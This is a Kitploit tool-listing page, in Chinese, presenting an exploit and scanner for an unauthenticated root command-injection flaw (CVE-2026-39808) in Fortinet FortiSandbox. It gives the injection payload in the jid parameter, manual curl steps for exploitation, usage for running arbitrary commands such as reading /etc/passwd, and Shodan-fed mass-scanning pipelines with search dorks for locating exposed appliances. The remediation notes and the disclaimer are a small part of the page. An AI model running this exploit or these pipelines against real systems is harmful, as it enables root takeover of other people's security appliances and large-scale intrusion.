Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — 未认证的 FortiSandbox CVE-2026-39808 RCE 扫描器,具备基于 canary 的验证、命令执行功能,并支持管道集成以进行批量扫描。 | Kitploit
工具/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

未认证的 FortiSandbox CVE-2026-39808 RCE 扫描器,具备基于 canary 的验证、命令执行功能,并支持管道集成以进行批量扫描。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
2684个月前Kitploit 审核通过

FortiSandbox RCE 扫描器 — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Fortinet FortiSandbox 中未经身份验证的 root 权限操作系统命令注入

漏洞 • 安装 • 用法 • 工作原理 • 管道集成 • Shodan 搜索语法 • 免责声明


漏洞

CVE-2026-39808 是 Fortinet FortiSandbox 中的一个严重未经身份验证的操作系统命令注入漏洞。/fortisandbox/job-detail/tracer-behavior API 端点未能对 jid 参数进行清理,允许攻击者在无需任何身份验证的情况下注入以 root 权限执行的任意操作系统命令。

根本原因

tracer-behavior 端点中的 jid 参数未经清理直接传递给系统命令。攻击者可以利用管道符(|)突破预期的命令上下文并执行任意命令:

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

输出被写入 /web/ng/out.txt,该文件可通过 Web 服务器上的 /ng/out.txt 访问——为盲命令注入提供了一种便捷的回读机制。


安装

零依赖。仅需 Python 3.7+ 标准库。

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

用法

基本扫描

root@kitploit:~
# 验证目标是否存在漏洞(使用金丝雀检测机制)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

执行命令

root@kitploit:~
# 在目标上执行特定命令
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

仅验证(不执行命令)

root@kitploit:~
# 仅检查是否存在漏洞,不执行 --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

使用 Burp 代理

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

JSON 报告

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

管道模式(批量扫描)

root@kitploit:~
# 从 URL 列表读取
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → 扫描器
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → 扫描器
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

所有选项

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           目标 URL
  --stdin                 从标准输入读取 URL(管道模式)
  --cmd CMD               要执行的操作系统命令(默认:id)
  --verify-only           仅验证漏洞,不执行 --cmd
  --proxy PROXY           HTTP 代理(例如:http://127.0.0.1:8080)
  --timeout TIMEOUT       HTTP 超时时间(秒)(默认:15)
  --rate-limit RATE_LIMIT 目标之间的延迟(毫秒)(默认:0)
  -o, --output FILE       输出 JSON 报告文件
  --no-banner             隐藏横幅

工作原理

该扫描器采用 5 步验证流程,并具有严格的误报防护机制:

root@kitploit:~
步骤 1  →  检测 FortiSandbox(标题/响应头指纹识别)
步骤 2  →  检查易受攻击的端点是否存在
步骤 3  →  通过命令注入注入唯一金丝雀字符串
步骤 4  →  读取 /ng/out.txt 并验证金丝雀(严格的纯文本验证)
步骤 5  →  执行用户命令 + 清理

误报防护

扫描器实现了多层验证以消除误报:

  • HTML 检测 — 如果输出 URL 返回 HTML 页面(Angular SPA 兜底路由),则标记为误报
  • Content-Type 验证 — 命令输出不得为 text/html
  • 金丝雀隔离 — 金丝雀必须出现在干净的纯文本中,而非嵌入 HTML 标签内
  • id 输出正则 — 严格的 uid=\d+(\w+) 模式匹配,并带有大小合理性检查(<1000 字节)
  • Base URL 规范化 — 自动去除 /ng 后缀,防止双重路径问题

示例输出

存在漏洞的目标

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Unauthenticated Command Injection (root)               ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Endpoint status: 200 | Content-Type: text/html
  ▸ Injecting canary: mitsec_a8k3m2x1
  ▸ Reading output: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
   CRITICAL  Target: https://fortisandbox.example.com
  ✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)

  ──────────────────────────────────────────────────────────
    Command Output: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Output file cleaned up

不存在漏洞

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detected!
  ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ Endpoint returned 404 — not vulnerable or patched

误报处理

root@kitploit:~
  ▸ Reading output: https://target.com/ng/out.txt
  ⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
  ▸ Content-Type: text/html
  ▸ This is a false positive — /ng/out.txt serves the SPA index.html
  ▸ Target does not appear vulnerable

JSON 报告格式

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

管道集成

扫描器将存在漏洞的 URL 输出到 stdout(所有其他输出发送到 stderr),使其完全兼容管道操作:

root@kitploit:~
# 查找存在漏洞的目标并保存
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# 与 nuclei 链式使用进行进一步测试
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# 带速率限制的静默批量扫描
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

Shodan 搜索语法

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys:

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA:

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Google 搜索语法:

root@kitploit:~
intitle:"FortiSandbox - Please login"

手动验证

如果您更倾向于使用 curl 手动验证:

root@kitploit:~
# 步骤 1:注入命令
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# 步骤 2:读取输出
curl -s -k "https://TARGET/ng/out.txt"
# 预期输出:uid=0(root) gid=0(root) groups=0(root)

修复建议

  • 升级 FortiSandbox 至 4.4.9 或更高版本
  • 如果无法立即修补:
    • 限制对 FortiSandbox 管理界面的网络访问
    • 使用防火墙规则阻止对 /fortisandbox/job-detail/ 端点的外部访问
    • 监控日志中包含管道符的可疑 jid 参数值

时间线

日期事件
2025 年 11 月发现漏洞
2026 年 4 月发布 CVE-2026-39808
2026 年 4 月在 FortiSandbox 4.4.9 中修复

参考

  • Fortinet PSIRT 安全公告 — FG-IR-25-325
  • CVE-2026-39808 — NVD

免责声明

本工具仅供授权安全测试和教育目的使用。未经授权访问计算机系统属于违法行为。请务必在测试前获得适当的书面授权。作者不对滥用本工具承担任何责任。


作者

mitsec — @ynsmroztas

  • 作品集:ynsmroztas.github.io
  • 100+ 名人堂 | 已披露 2,430+ 漏洞 | 1,100+ 严重发现

如果此工具对您有帮助,请考虑给它一个 ⭐

下载工具
详情值
CVE IDCVE-2026-39808
CVSS 评分9.8(严重)
攻击向量网络
身份验证无
权限Root
受影响版本FortiSandbox < 4.4.9
修复版本4.4.9 及以上
安全公告FG-IR-25-325